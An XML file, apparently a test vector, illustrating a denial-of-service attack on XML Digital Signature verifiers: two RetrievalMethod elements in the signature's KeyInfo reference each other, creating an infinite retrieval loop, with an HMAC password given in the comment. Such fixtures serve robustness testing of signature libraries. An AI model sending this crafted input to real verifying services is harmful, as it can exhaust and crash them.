<!--
Illustration of a Denial of Serivce Attack - Infinite loop in retrieval method 2
================================================================================

Very similar to dos_retrieval_loop1.xml
except that there are two retrieval method elements calling each other.

HMAC password = sample
-->
<ns0:e0 xmlns:ns0="http://www.w3.org/ns0">
 <ns0:e1 xml:id="e1"> 
 </ns0:e1>   
 <dsig:Signature xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
  <dsig:SignedInfo>
   <dsig:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
   <dsig:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1"/>
   <dsig:Reference URI="#e1">
    <dsig:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
    <dsig:DigestValue>WEhA2IFCfmddBl7PG5k82cVKw+Q=</dsig:DigestValue>
   </dsig:Reference>
  </dsig:SignedInfo>
  <dsig:SignatureValue>ZMN43U7EV7mWIUOPp/CWTv9xXOg=</dsig:SignatureValue>
  <dsig:KeyInfo>
   <dsig:RetrievalMethod xml:id="r1" URI="#r2"/>
   <dsig:RetrievalMethod xml:id="r2" URI="#r1"/>
  </dsig:KeyInfo>
 </dsig:Signature>
</ns0:e0>